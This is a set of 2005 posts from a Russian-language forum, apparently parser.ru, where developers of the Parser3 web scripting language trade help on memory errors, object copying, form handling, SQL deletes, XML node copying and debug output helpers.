"43846","я уже обращал внимание на ваши крики: предлагал ЧИТАТЬ ФАК и ДОКУМЕНТАЦИЮ, ДУМАТЬ САМОМУ, и не публиковать в данном форуме сообщения, не несущие никакой информации.\
\
я уже оправлял вам по почте предупреждение о том, что после очередного подобного сообщения вы будете забанены.\
\
это - последнее китайское предупреждение.\
\
еще один пост, в котором вы проигнорируете правила написания сообщений из ФАК - и я вас забаню."
"43848","$myObj[^MyClass::new[]]\
$otherObj[$myObj]\
\
будет ли данный код копированием ссылки на область памяти или же созданием копии?"
"43850","Вот что пишется в лог апача\
-----------\
Fri Aug 26 19:34:02 2005] [error] [client 62.105.128.73] Premature end of script headers: /home/eholot/public_html/cgi-bin/parser/parser3.cgi\
-----------\
А вот что в лог парсёра\
--------\
[Fri Aug 26 19:33:24 2005] [20054] out of memory: failed to allocate 16 bytes. heap_used=12447744, heap_free=0, bytes_since_gc=13171720, total_bytes=13171720\
[Fri Aug 26 19:34:55 2005] [20323] out of memory: failed to allocate 32 bytes. heap_used=12447744, heap_free=0, bytes_since_gc=13177324, total_bytes=13177324\
--------\
При чём, если обновляю запрошенную страницу, то всё дальше идёт нормально.\
Раньше работало, а потом, на каком-то этапе начало глючить.\
Сам код скрипта заключается в том, что он вызывает перл-скрипт, получает его вывод, процессит переменные и таблицы, подгружает шаблон, и тоже его процессит.\
По такой технологии построено у меня всё.\
А теперь начало глючить. При чём это происходит не у меня на локальной винде, а у хостера под редхэдом."
"43851","Выдается сообщение \"'connect' native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present)\".\
В форуме я видел описание подобной ошибки, для решения этой проблемы предлагалось найти лишний пробел в конструкции:\
^connect[$connect_string]{\
	$news[^table::sql{select \
\
Всячески проверял, пробела там нет. К тому же, на локальном компьютере код работает, как только закачиваю на удаленный сервер - выдается ошибка.\
Не подскажите, в чем может быть проблема?\
Заранее благодарю."
"43852","выход только один - оптимизировать код (rusage, run_time и compact вам в руки)\
\
также понятно почему дома вы не видите этой ошибки: у вас не установлены лимиты."
"43853","И в какую сторону двигаться?\
В сторону уменьшения времени выполнения или в сторону уменьшения размера занимаемой памяти? Или ещё чего-то?\
Или просто поставить какую-нить задержку на ответ?\
Может скрипт не дожидается ответа от перл-скрипта и решает, что умер?\
Есть готовые решения, или хотя-бы советы как оптимизировать код?"
"43854","[quot]\
Есть готовые решения, или хотя-бы советы как оптимизировать код?\
[/quot]\
\
у меня есть. что-то я про это писал в форуме. еще про это немного написано в документации."
"43855","Есть ли встроенные средства, что-то типа Object.clone в Java?"
"43856","Допустим суть объекта - некий набор данных, полученный методом ^table::sql{}\
\
Я делаю в классе метод \
@return[]\
$result[$dataset]\
,где $dataset является тем-самым набором данных.\
\
В вызывающем скрипте я помещаю эту таблицу в некую переменную:\
$row_data[^obj.return[]]\
\
Будет ли у меня теперь в памяти 2 таблицы или я получаю ссылку на таблицу, инкапсулированную в объекте?\
\
Вопрос к тому, что у меня есть такой несколько неуклюжий код и хочу понять, нужно ли его оптимизировать с точки зрения расхода памяти."
"43858","до тех пор пока вы вызываете методы объекта они манипулируют текущим объектом.\
\
стандыртнах средств для создания копии пользовательского объекта не существует. если это вам надо - вы можете написать второй конструктор, который для вас сделает копию. но... только ручками."
"43859","Сначала, когда я не сильно понимал Парсер, я не додумался сделать доступ к полям с помощью методов и если надо было напрямую вытянуть поле из объекта возвращал саму структуру данных, то есть таблицу. Выглядело это так:\
\
^use[/classes/user.p]\
$user_obj[^user::load[$.id(12)]]\
^rem{Вот это я конечно делал зря... из объекта таблица возвращается в методе @return путем $result[$sql_user_table]}\
$user[^user_obj.return[]]\
Имя юзера $user.name\
\
После такого у меня есть таблица встроенного типа Table в объекте $user_obj и переменной $user. Так вот это 2 ссылки на одну область памяти или все же 2 разных объекта? Если 2 разных, буду чистить код, если же ссылки, то оставлю так."
"43860","не получается загрузить изображения на сервер с тем же именем, что делаю не так?\
\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"photo\"> \
<input type=\"text\" name=\"user\"> \
<input type=\"submit\"> \
</form>\
\
^if(def $form:photo){ \
    ^form:photo.save[binary;/i/] \
} \
^if(def $form:user){ \
    Пользователь: $form:user<br> \
}"
"43864","До конца осознав смысл понятия tainting, я вижу что использовать его для других целей это бред.\
\
По поводу дискуссии о том что это вообще такое хочу внести предложение дополнить справку парсера в разделе \"Внешние и внутренние данные\" более подробными примерами с показами результатов работы кода, а не только его самого. И вашими [url=\"http://www.parser.ru/forum/?id=43775\"]пояснениями[/url] и пояснеиями Миши в3 (в слегка укороченном виде), с целью увеличения степени первоначального понимания этих методов.\
\
Вы можете сказать, что про это написано в соответствующем разделе сайта парсера, но мне кажется что Help мог бы быть сразу более наглядным."
"43865","Целиком и полностью! Надо сказать, отсутствие интернета (хотя бы на 12 часов) резко повышает уровень знаний. Перелопатив все 5 килобайт кода я-таки нашёл, в чём ошибка.\
\
Кстати, предлагаю добавить эту ситуёвину в FAQ, наверняка у многих начинающих с этим проблемы есть."
"43866","Такое возможно? Функций подходящих я не нашёл. Можно, конечно, вручную (ну, например, списать в файл, загрузить, разбить по \\n и удалить). Но ведь это получается совсем через опу..."
"43867","Зачем люди делают так\
\
[code]\
@myfavouritemethod[i]\
$j[$i]\
# и далее операции с $j а не $i\
[/code]\
\
Зачем копировать значение входного параметра в другую переменную, а не работать с той что уже сами задали в описании метода.\
\
И пожалуйста, пишите словами, а не ссылками куда-либо."
"43868","Да, кто знает. Однако скорее всего потому, что в коде переменная должна так или иначе изменяться, а потом (напр. в конце функции) вдруг понадобилось получить исходный (не изменённый) параметр.\
\
А так мы имеем $j, которую меняем как хотим и $i, которая содержит исходное значение."
"43870","Огромное, человеческое!"
"43872","Может быть кому-то известен софт для ограничения памяти, выделяемой под определенный процесс? Чтобы парсер на тестовой виндовой площадке использовать в условиях, приближенных к условиям хостинга (отлавливать out_of_memory сразу)."
"43874","но как бы и откуда бы вы не передавали таблицу - передается только ссылка. чтобы сделать копию таблицы - надо сделать соответствующие телодвижения:\
\
$new[^table::create[$old]]\
\
при некоторх операциях (например $new[^old.select(условие)] создается новая таблица, НО: при этом не происходит дублирования строк в памяти."
"43875","Как лучше сделать?\
\
Приходит @unhandled_exception, например, из-за падения сервера. Как лучше всего перехватить эту ошибку и выдать пользователю сообщение не об ошибке, а, например, \"Сайт временно закрыт на реконструкцию\"?\
\
И где это прописать?\
\
Стоит ли прописывать в корневом auto.p самого сайта @unhandled_exception?\
\
С уважением, Rezook"
"43876","Забыл добавить, что после ошибки остальные страницы сайта тоже становились бы недоступными, а не только та на которой произошла ошибка."
"43877","Надо включить в код обработку возможных ошибок.\
\
Не понятна сентенция насчет \"сервер падает\". Уж если упал, так он ничего не выдаст. А если выдал @UE, то значит сервер работает. Ну может БД отвалилась, но это как раз и можно обработать в конфигурационном файле (главный auto.p)."
"43878","Напишите свой обработчик @UE. Можно разместить его в отдельном файле и подключить при помощи @USE[свой файл]. А уже в своем обработчике делайте все что хотите с выводом пользователю всех не штатных ситуаций. За основу возмите метод @UE из конфигурационного файла."
"43879","Неправильно я объяснил суть наверное...\
\
Если апгрейдится например сайт, задача повернуть ручку(handle какой-нить), чтобы парсер знал об этом и закрыл доступ на ВСЕ страницы сайта. \
\
Проблема где его написать в cfg-шнике или в auto.p?"
"43880","Яснее надо выражаться, батенька :)\
\
Я правильно понимаю, что Вам надо: нажать на какую-нибудь кнопочку и полностью вывести весь сайт в режим \"техобслуживание, приносим извинения за временные неудобства!\" ??? Если так, что метод @UE тут совсем не при чем. Вам просто надо организовать вывод страниц сайта пользователям в зависимости от состояние какой-либо переменной. Реализуется это так: в своем корневом auto.p (можно и в конфигурационном, но традиционно лучше его лишний раз не трогать - дурной тон) в самом начале Вы прописываете переменную $SHOW_SITE_YES[YES]. И весь вывод страниц сайта пользователям облачаете в конструкцию типа:\
[code]\
^if($SHOW_SITE_YES eq YES({\
\
... все что выводит сайт пользователям...\
}{\
<p>Сайт на техобслуживании.</p> # или что-то подобное\
}\
[/code]\
Если надо перейти из одного режима в другой - меняете значение переменной $SHOW_SITE_YES[YES] на , например, $SHOW_SITE_YES[NO]. Можно auto.p редактировать просто по FTP, ручками.\
\
Это самый простой вариант, применимый для понимания происходящих процессов. В дальнейшем можно (и нужно!) написать простенький административный интерфейс для управления режимом отображения сайта через браузер."
"43881","Это конечно хорощо, но как автоматизировать всю эту байду.\
Вывод каждой страницы сайта заведует свой индекс.\
Например за новости один, за гостевую - другой.\
И чтобы применить Вашу конструкцию, я так понимаю надо в каждом индексе прописать эту переменную.\
А если у сайта более 10000 страниц?\
Как всю эту байду автоматизировать?"
"43883","Засунуть конструкцию ASharky в корневой auto.p\
http://www.parser.ru/docs/lang/?mainclass.htm"
"43886","У меня приятель (топ управленец) как-то подавал документы на соискание в одну крупную буржуинскую контору. В одной из анкет отдела кадров наткнулся на пункт: \"Скорость печати на компьютере\". Вписал туда: \"со скоростью мысли\". Кадровики не поняли, попросили уточнить. Уточнил: есть мысли - сажусь за клаву и печатаю. Мыслей нет - печатать нечего.\
\
Лирика :)"
"43887","Only one"
"43888","Ну так один раз и прописать придется:\
\
[code]\
\
Файл auto.p\
~~~~~~~~~~~\
\
@main[]\
^header[]\
^navigation[]\
^content[]\
^footer[]\
\
переделываете в:\
~~~~~~~~~~~~~~~~\
\
@main[]\
\
$SHOW_SITE[YES]\
\
   ^if($SHOW_SITE eq YES){\
        ^header[]\
        ^navigation[]\
        ^content[]\
        ^footer\
   }{\
        <p>Сайт на техобслуживании.</p>\
   }\
[/code]\
\
Если захотите вывести сайт \"в ремонт\" - меняете значение переменной $SHOW_SITE с YES ($SHOW_SITE[YES]) на NO ($SHOW_SITE[NO]).\
\
Структура страниц взята из \"Урок 2\" документации."
"43889","/index.html?a=a&b=b&c=[code]^form:fields.foreach[key;value]{$key}[, ].\
^if(def $form:c){+}{Фигушки.}[/code]\
Итого: a, b, [b]с[/b]. Фигушки.\
\
Мне интересно, чем оправдано сохранение [b]c[/b] в хеше?\
\
Лично мне хочется удобно проверять заполненность определенного набора полей формы. Я бы делал так:[code]$requireFields[\
	$.a(1)\
	$.b(1)\
	$.c(1)\
]\
\
^requireFields.sub[$form:fields]\
\
^if(def $requireFields){\
	^rem{не все обязательные поля заполнены}\
}[/code]\
\
Из-за сохранения пустых полей form, приходится дополнительно перебирать form:fields, помещая непустые поля в новый хеш:\
[code]$formFields[^hash::create[]]\
^form:fields.foreach[key;value]{^if(def $value){$fields.$key[$value]}}[/code]\
\
Мелочь, но интересно."
"43890","http://people.w3.org/rishida/scripts/uniview/"
"43891","Открывайте свою студию или переезжайте в город, где используют парсер :)"
"43893","спасет отца ..."
"43894","Пасип, именно это и было интересно узнать, не создавалась ли у меня вторая таблица в памяти, когда я отдавал ее из объекта с помощью \
\
$result[$table_i_dont_want_to_double_in_memory]"
"43895","В Java, к примеру, переменные переданные в параметрах метода перекрывают поля экземпляра, если их имена в сигнатуре совпадают, что заставляет либо добавлять суффикс/префикс к полям сигнатуры, либо использовать ссылку this в методе.\
\
А вообще, кто как хочет.. =)"
"43897","http://www.artlebedev.ru/studio/vacancy/results/td-sp2005/shit-list/"
"43898","А, ну да, видел... Поизвращались над несчастным человеком..."
"43899","Подскажите если не трудно, пытаюсь удалять выбранные записи из БД.\
Конструкция такая:\
\
^connect[$connect_string]{\
$message[^table::sql{select author, email, date, body, actuldate from gbook}\
]\
}\
<form method=\"POST\">\
<table  border=0> \
^message.menu{ \
<tr> \
<td cellpadding=\"1\"  cellspacing=\"1\" bgcolor=\"#8EA3DE\">\
<input type=\"checkbox\" name=\"zap\" value=\"$message.author\"><br>\
<input name=\"email\" value=\"$message.email\"><br>\
<input name=\"email\" value=\"$message.author\"><br>\
<input name=\"email\" value=\"$message.date\"><br>\
<input name=\"email\" value=\"$message.actuldate\"><br>\
<textarea cols=\"20\" name=\"text\" rows=\"5\">$message.body</textarea> \
</td> \
</tr> \
}  \
    \
\
</table>\
<p><input type=\"submit\" value=\"Обновить\" name=\"posted\"></p>\
</form>\
\
   ^if($form:zap eq on){ \
      ^MAIN:dbconnect{ \
         ^void:sql{delete from gbook \
            (author, email, date, body, actuldate) \
       } \
      } \
      $response:location[$request:uri] \
   }{ \
      <center><b>неудачная попытка</b></center> \
   } \
Смысл в том что в панели администрирования выводятся все записи,\
\
chekbox\
input - $message.email\
input - $message.author\
input - $message.date\
textarea - $message.body\
\
если выбрана запись в chekbox  то при нажатии на обновить оно удаляется.\
\
Что я делаю не так?"
"43902","Если он этим механизмом закроет или редиректит сайт, то как ему самомму с ним работать-то? Отладкой например заниматься и т.п.?"
"43903","http://www.parser.ru/forum/?id=43527"
"43904","После @USE ^rem{} вызывает ошибку. Равно как и #, написанные не с начала строки."
"43905","[code]\
^void:sql{\
  DELETE FROM\
    gbook\
  WHERE\
    ...\
}\
[/code]"
"43906","я вижу небольшую разницу в написании между\
$j[$i]\
и\
$j[^hash::create[$i]]"
"43907","и наберите их ещё раз.\
ещё раз залейте файл на удалённую машину.\
отдохните и нажмите reload."
"43908","и этого обычно достаточно."
"43909","нужно хорошее краткое описание.\
мы вылизывали документацию, как могли.\
если у вас есть конкретная идея, как, не удлинняя текст, сделать его яснее, напишите в комментарии к соответствующей статье.\
в идеале: просто новый абзац/два текста."
"43910","ещё подумайте о двух событиях remove, которые происходят одновременно [почитайте про ^file:lock]."
"43911","проверить где-нибудь в @postprocess и throw[optimize-me;сколько]"
"43912","получится.\
\
возьмём *.mts.ru, там сейчас гипертекстов\
[code]\
39'001 штук\
1'002'591'615 байт\
[/code]\
\
если из за [b]одной[/b] внезапно загрустившей страницы закрывать всё, нас клиент не поймёт."
"43913","сворачиваем."
"43914","[quot]\
Зачем копировать значение входного параметра в другую переменную, а не работать с той что уже сами задали в описании метода.\
[/quot]\
\
Я так понял, что код упрощенный, а суть изложена в тексте."
"43915","используйте ^use[]"
"43916","[quot]файлы = каменный век[/quot]да нет, у меня там работа только с таблицами, а про файлы я вспомнил так, отыскивая метод решения проблемы.\
[quot]^file:lock[][/quot]скрипты парсера выполняются доли секунды. я как-то не очень уверен, что произойдёт такой случай, что возникнет одновременно два запроса. для этого должна происходить чуть-ли не DoS атака на указанный скрипт. хотя, на всякий пожарный использовать стоит."
"43917","разработчик как правило имеет статический ip.\
Далее - читать документацию :)"
"43918","Насколько \"в духе парсера\" такой код: \
[code]\
@grep_number[result]\
^if(^result.pos[/] > 0){\
	$result[^result.left(^result.pos[/])]\
}\
[/code]\
\
Нет ли противопоказаний для конструкций вида \"@метод[result]\"?\
\
--\
P.S. задача метода: получить номер из строки вида \"\\d+/текст\", где \"/текст\" встречается только в некоторых строках."
"43919","1. Regexp - то что вам нужно для решения задачи.\
2. Называть параметр результатом, как минимум нелогично == нечитабельно в последствии."
"43921","Про регэксп согласен, но тут особый случай - поле из xls-файла клиента, оно может быть строго или \"00000\" или \"00000/текст\", лишний раз регэксп вызывать смысла нет.\
\
Что касается result - мне кажется, что использование такого варианта для простых функций с одним параметром избавляет от необходимости писать.\
[code]\
@метод[param]\
$result[^param.do_some_thing[]]\
[/code]"
"43923","Модуль Parser тут лежит не в http://ваш_сайт/cgi-bin/ а в C:\\Apache_Swissknife\\Вебсервер\\Parser. Собственно такой вопрос, при создании например сайта под IP 127.0.0.3 в httpd.conf мы заносим блок  \
<VirtualHost         127.0.0.3>\
... \
</VirtualHost>\
После этого обычные страницы видяться, а при выполении 1 урока  \
выдается ^navigation[] вместо положенного меню навигации\
\
P.S. \
Содержание sections.cfg\
section_id	name	uri \
1	Главная	/\
2	Новости	/news/\
3	Контакты	/contacts/\
4	Цены	/price/\
5	Ваше мнение	/gbook/\
\
Содержание auto.p\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
\
Содержание index.html\
^navigation[]\
\
P.P.S.\
в .htaccess для сайта localhost01 написано, что:\
\
#  Первые  3  строки  этого  файла  закомментированы  -  соответствующие\
#  настройки  уже  сделаны  в  файле  httpd.conf (основной файл настроек\
#  Apache). \
\
Это распространяется на все сайты поднятые под Апачем или только на 127.0.0.1?"
"43924","Какая разница что писать:\
\
[code]\
@method[param]\
$result[^param.do_some_thing[]]\
[/code]\
\
или \
\
[code]\
@method[result]\
$result[^result.do_some_thing[]]\
[/code]\
\
[b]ADD:[/b]\
\
Или можно написать так:\
\
[code]\
@method[result]\
^result.do_some_thing[]\
[/code]\
\
Но тогда возникает вопрос, операция с result-ом будет как со стандартным result или как с полученной переменной и на выходе мы получим как минимум лишний перевод строки?"
"43925","предполгается, что какие-то действия над переданной переменной произойдут, и необязательно это будет вызов какого-то одного метода, как в последнем примере.\
\
Суть в том, чтобы не создавать лишний раз переменную, когда реально используется всего одна - $result."
"43927","Если это дата доставки — delivery_date; число роз в розарии — rose_count (или даже — rosarium_rose_count); просто строка, с которой нужно что-то сделать — str. Но не называйте параметр параметром, и будет вам счастье (и кодеры-потомки вас не забудут) :-)"
"43930","А что быстрее на самом деле — можете измерить."
"43933","У меня гостевуха одними и теми же сообщениями полнится. Как этого избежать? Может быть есть какие-нибудь простые и эффективные решения?"
"43934","кроме того, в моем случае число может быть разной длины: от однозначного до шестизначного.\
В данном случае, работа не над числом, а над строкой, от которой \"отрезается\" лишний текст после \"/\" включительно (если он есть, если нет - то ничего не делается) - поэтому считаю использование ^str.pos[] оправданным."
"43937","[code]@grep_number[str]\
^if(^str.int(-1) != -1){\
	$result[$str]\
}{\
	$result[^str.match[(\\d+)/.*][i]{$match.1}]\
}[/code]\
\
А если скорость важна не до такой степени, то можно мой регексп немножко подредактировать, и его каждый раз прогонять."
"43938","Напишите всеми тремя способами и измерьте скорость в каждом случае — только там будут факты, а не аргументы."
"43940","написать в\
<VirtualHost 127.0.0.3>\
... \
</VirtualHost>\
\
эту строчку\
    AddHandler                  parser3-handler     .html"
"43941","Существует ли сабж?"
"43942","[code]$response:location[http://yoursite.ru/guestbook/][/code]\
После этого reload страницы не грозит дублированием сообщений."
"43943","поскольку есть is.\
[code]\
@print_r[obj]\
^if(obj is table){...}{\
   ^if(obj is hash){\
      ^foreach... ^print_r[$value]...\
   }{\
}\
[/code]"
"43944","ибо вещь очень удобная во время разработки. а можно ли таким образом (с помощью is) \"просмотреть\" элементы объекта (например, список функций)?"
"43945","В примере из документации к функции date.roll[] есть такой текст:\
[quot]…\
^show[Москва;MSK-3MSD] \
^show[Амстердам;MET-1DST] \
^show[Лондон;GMT0BST] \
^show[Нью-Йорк;EST5EDT]\
…[/quot]\
А где можно узнать список всех TZ?"
"43946","зачем-то нужно?\
\
про самодокументацию я писал отдельно, есть реализации."
"43948","В результате мозгового штурма было выявлено на практике, что предложенная схема не позволяет ТОМУ ЖЕ ПОЛЬЗОВАТЕЛЮ ввести ДРУГОЕ сообщение..."
"43950","у меня windows стоит дома... там об этом ни слова..."
"43953","Подключил, класс для формы голосования, если после ввода формы нажимаю F5, то пишет что уже добавлял, если ухожу, например, на главную страницу, а потом, опять на страницу голосования, то опять могу голосовать. Почему так?"
"43954","Большое спасибо"
"43955","он не предназначен для того, чтобы кто-то не смог два раза не запостить форму. он для того, чтобы если при заполнении формы кто-либо сделал double click на кнопке submit, нажал F5 после сабмита или сделал Back + Forward + REPOST data - те-же самые данные не обрабатывались. \
\
так же он не даст запостить данные без открытия страницы с формой находящейся на вашем сайте (эдакая простенькая защита от спама)."
"43956","Как лучше выйти тогда из ситуации? Cookie? С ними еще не работал. Подскажите пожалуйста алгоритм действий?"
"43957","[code]\
Есть исходный XML файл:\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document>\
	<item id=\"1\">\
		<name>product 1</name>\
		<price>3500</price>\
	</item>\
	<item id=\"2\">\
		<name>product 2</name>\
		<price>3400</price>\
	</item>\
</document>}]\
\
Из него выбираем узел item, где id=2\
$node[^document.selectSingle[/document/item[attribute::id=\"2\"]]]\
\
Далее имеется второй пустой документ:\
$document2[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document>\
</document>}]\
\
В него нужно скопировать выбранный узел $node из первого документа со всеми вложениями\
\
Пробовал через $Node[^узел.cloneNode(deep)]\
и $Node[^документ.importNode[importedNode](deep)]\
[/code]\
\
Прошу помощи!"
"43958","Весь сайт написан на ПХП, теперь требуется написать модуль, а я больше люблю Парсер. Если я установлю Парсер на хост, не будет ли он конфликтовать с пхп? (ПХП встроено в HTML страницы, то есть файлы .html)"
"43959","ключевые слова: importNode, appendChild"
"43961","ни в chm-версии, ни в on-line\
http://www.parser.ru/docs/lang/tablejoin.htm\
http://www.parser.ru/docs/lang/tablesort.htm\
http://www.parser.ru/docs/lang/tableline.htm\
http://www.parser.ru/docs/lang/tableoffset.htm"
"43963","открылось. возможно, ваш провайдер их по каким-то причинам не пускает?"
"43964","А если подробнее, то как в браузере будет .p отображаться?"
"43965","А как сдуть получше?"
"43966","Впринципе, я получил ответ на свой вопрос. Спасибо.\
Я тоже так делаю, только по необходимости и не в начале метода, а тут мне это много раз бросалось в глаза. Вот и решил спросить."
"43967","он смотрит на content-type.\
\
так что действуйте, как в документации написано, только файлы называйте .p и в .htaccess тоже пишите .p"
"43968","разбирался с классом и нашем интересный кусок кода\
в методе @declareVars есть такая строка\
\
[code]$new_user_event_type(^params.new_user_event_type.int($EVENT.logon + $EVENT.logout + $EVENT.change_name))[/code]\
\
... и в то же время в методе @init\
[code]\
^declareVars[^hash::create[$params]]\
\
$EVENT[^events.menu{$.[$events.name][$events.id]}]\
$ERROR[^errors.menu{$.[$errors.name][$errors.id]}]\
[/code]\
\
то бишь переменная $new_user_event_type инициализируется 0, а не 19 как предполагается, т.к. $EVENT к этому моменту не инициализирована\
может есть смысл сделать это, например переместив сточки с инициализацией хэшей $EVENT и $ERROR из @init в @declareVars примерно так\
\
[code]\
...\
$events[^getEvents[]]\
$errors[^getErrors[]]\
\
$EVENT[^events.menu{$.[$events.name][$events.id]}]\
$ERROR[^errors.menu{$.[$errors.name][$errors.id]}]\
...\
[/code]"
"43970","[code]@print_r[var;show;notip]\
^if($var is string){$var}{^if($var is file){^if($notip ne 1){Тип: файл}Имя файла: $var.name [ $var.content-type ]\
Размеры: $var.size байт ^if($file.stderr){\
Ошибка при загрузке: $file.stderr} ^if($show ne yes){\
<span title=\"Для того, чтобы просмотреть файл укажите второй параметр функции ^^print_r[] равным единице\" style=\"color^: #ff0000^; cursor: help\">[?]</span>\
}{<div class=system>^taint[html;$var.text]</div>}}{^if($var is hash){^if($notip ne 1){Тип: хэш}\
<div class=system>^var.foreach[key;value]{\
$key=^print_r[$value;$show;1]<br>}</div>}{^if($var is hashfile){^if($notip ne 1){Тип: хешфайл}\
^print_r[^var.hash[];$show;1]}{^if($var is image){\
^if($notip ne 1){Тип: изображение}^if($var.src){Имя файла: $var.src}\
Размеры: ${var.width}x$var.height ^if($show eq 1 && $var.src){^var.html[]}{\
<span title=\"Для просмотра изображения укажите второй параметр функции ^^print_r[] равным единице! Внимание: функция не показывает изображения сгенерированные автоматически Парсером!\"\
style=\"color^: #ff0000^; cursor: help\">[?]</span>}}{^if($var is table){^if($notip ne 1){Тип: таблица}$cols[^var.columns[]]\
<table border=1><tr>^cols.menu{<th>$cols.column</th>}</tr>\
^var.menu{<tr>^cols.menu{$v[$cols.column] <td>^print_r[$var.$v]</td>}</tr>}</table>}{\
Неизвестный тип (возможно, объект пользовательского класса)\
}}}}}}[/code]\
enter-ы не расставлены потому что иначе внешний вид будет ещё ужаснее, а он и так поражает... ;-Е\
в CSS страницы стоит добавить:\
[code]div.system {\
	background-color: #f0f0f0;\
	border: 1px solid #999999;\
	margin: 20px;\
}\
pre {\
	display: inline;\
	margin: 0px;\
}[/code]\
\
собственно, внешний вид для меня не важен.\
\
да, и пока ещё не знает XDoc и XNode и Junction."
"43974","может все таки кто нибудь поможет\
[url=\"http://www.parser.ru/forum/?id=43899\"]http://www.parser.ru/forum/?id=43899[/url]"
"43975","в принципе ничего в коде не менялось, только обработка стала в два этапа\
так будет и почитабельней и при добавлении обработки новых типов меньше шансов запутаться\
\
[code]\
@print_r[var;show;notip][_type]\
\
^if($var is string){$_type[string]}{\
	^if($var is file){$_type[file]}{\
		^if($var is hash){$_type[hash]}{\
			^if($var is hashfile){$_type[hashfile]}{\
				^if($var is image){$_type[image]}{\
					^if($var is table){$_type[table]}\
}}}}}\
\
\
^switch[$_type]{ \
	^case[string]{\
		$var\
	}\
	^case[file]{\
		^if($notip ne 1){Тип: файл}\
		Имя файла: $var.name [ $var.content-type ]\
		Размеры: $var.size байт \
		^if($file.stderr){Ошибка при загрузке: $file.stderr}\
		^if($show ne yes){\
			<span title=\"Для того, чтобы просмотреть файл укажите второй \
				параметр функции ^^print_r[] равным 'yes'\" style=\"color^: \
				#ff0000^; cursor: help\">[?]</span>\
		}{\
			<div class=system>^taint[html;$var.text]</div>\
		}\
	}\
	^case[hash]{\
		^if($notip ne 1){Тип: хэш}\
		<div class=system>\
		^var.foreach[key;value]{$key = ^print_r[$value;$show;1]}[<br />]</div>\
	}\
	^case[hashfile]{\
		^if($notip ne 1)\
		{Тип: хешфайл}\
		^print_r[^var.hash[];$show;1]\
	}\
	^case[image]{\
		^if($notip ne 1){Тип: изображение}\
		^if($var.src){Имя файла: $var.src}\
		Размеры: ${var.width}x$var.height \
		^if($show eq 1 && $var.src){\
			^var.html[]\
		}{\
			<span title=\"Для просмотра изображения укажите второй параметр \
				функции ^^print_r[] равным единице! Внимание: функция не\
				показывает изображения сгенерированные автоматически \
				Парсером!\" style=\"color^: #ff0000^; cursor: help\">[?]\
			</span>\
		}\
	}\
	^case[table]{\
		^if($notip ne 1){Тип: таблица}\
		$cols[^var.columns[]]\
		<table border=\"1\">\
		<tr>^cols.menu{<th>$cols.column</th>}</tr>\
		^var.menu{\
			<tr>^cols.menu{\
				$v[$cols.column] <td>^print_r[$var.$v]</td>\
			}\
			</tr>\
		}\
		</table>\
	}\
	^case[DEFAULT]{\
		Неизвестный тип (возможно, объект пользовательского класса)\
	}\
}\
[/code]"
"43976","А разве ответ от Wonder это не то, что вам нужно?\
Вот ваш код:\
[code]^MAIN:dbconnect{ \
^void:sql{delete from gbook \
(author, email, date, body, actuldate) \
} \
}[/code]\
\
У вас неправильно составлен запрос. Правильный запрос выглядит примерно так: [code]DELETE FROM `gbook` WHERE `author`=$form:author[/code]\
\
P.S: проблема вашего кода ещё в том, что если вдруг появится два сообщения от одного автора, то этим запросом будут удалены оба."
"43977","В справке к функции ^hash.foreach есть приписка: порядок перебора не определен. А есть ли возможность всё-таки вывести в определённом порядке (иными словами, можно ли сортировать хеш)? И появится ли такое в будущем?"
"43978","спасибо за помощь, но мне необходимо что бы удалялись выбранные в chekbox объявления"
"43979","можно попробовать пойти в обход: преобразовать хэш в таблицу, отсортировать и вывести\
\
[code]\
$hash_table[^table::create{key	value}]\
^hash.foreach[key;value]{^hash_table.append{$key	$value}}\
^hash_table.sort{$hash_table.value}[asc]\
[/code]\
\
но как то все это по дурацки получается да и сортировка производится строковых значений, т.е.\
\
если будет первоначальный порядок:\
20\
126\
1\
\
после сортировки получится:\
1\
126\
20"
"43980","спасибо. я просто переделал хэш в таблицу."
"43981","Посмотрите: на первой и второй страницах форума часть тем совпадают. Причём, большая часть. Баг?"
"43982","Да, гораздо лучше. Этот вариант можно легко прочесть и редактировать, а это большой плюс. Спасибо ;)\
\
Только:[code]^if($notip ne 1)\
{Тип: хешфайл}[/code] в одну строку"
"43983","Предпоследний абзац."
"43985","Вообще-то конечно верно, что страница с определённым индексом всегда имеет одно и то же содержимое.\
Только привычнее, когда наоборот сделано: первая страница форума и есть первая, вторая -- вторая и т.д, то есть прямой порядок страниц, а не обратный.\
Хотя и \"привычнее\" только потому, что в большинстве скриптов так сделано, но это ведь не значит, что так \"лучше\""
"43986","сразу не посмотрел. хотя, как уже было сказано выше (или ниже, или глубже? ;) заменил хэш таблицами. удобнее и быстрее."
"43988","Это затратно.\
Это изврат.\
По поводу сортировки читать доку здесь: http://www.parser.ru/docs/lang/tablesort.htm"
"43989","Немного дополнил пример из FAQ:\
\
http://www.parser.ru/forum/?id=42371\
\
С хэшэм работать быстрее, нежели с таблицей. Особенно с большими объемами."
"43990","У сообщений есть в базе данных id?.. Надеюсь что да. Тогда вы при удалении в [i]where_definition[/i] указываете это самый id и все. Никаких проблем быть не должно.\
\
ПС. Ссылка на докуметнацую по MySQL на русском языке есть на этом сайте в разделе «полезные ссылки».\
\
ППС. В большинстве случаев ответ на свой вопрос можно найти поиском по форуму. Подобные вопросы уже много раз поднимались."
"43991","[quot]\
Двухэтажные if'ы — плохо, трехэтажные — задница, и такую конструкцию практически всегда можно и нужно упрощать. Байка — друзья программисты говорят, что видели код, в котором есть 6-ти этажные if'ы.\
[/quot]\
\
http://www.egoroff.spb.ru/opinions/16.html"
"43994","...без [b]вложенных[/b] if`ов...\
\
Есть. Я сделал."
"43996","... в смысле разложить вложенные на одельные?\
\
[code]\
^if($var is string){$_type[string]}\
^if($var is file){$_type[file]}\
^if($var is hash){$_type[hash]}\
^if($var is hashfile){$_type[hashfile]}\
^if($var is image){$_type[image]}\
^if($var is table){$_type[table]}\
[/code]"
"43997","Блин, запостил все в одно сообщение... :)"
"43998","Еще полезный пост: http://www.parser.ru/forum/?id=42382\
\
Я для отладки написал себе такой метод:\
\
[code]\
@print[v][temp]\
^if(def $v){\
	^if($v is table){^printTable[$v]}\
	^if($v is hash){^printHash[$v]}\
	^if($v is string || $v is int || $v is double){$v}\
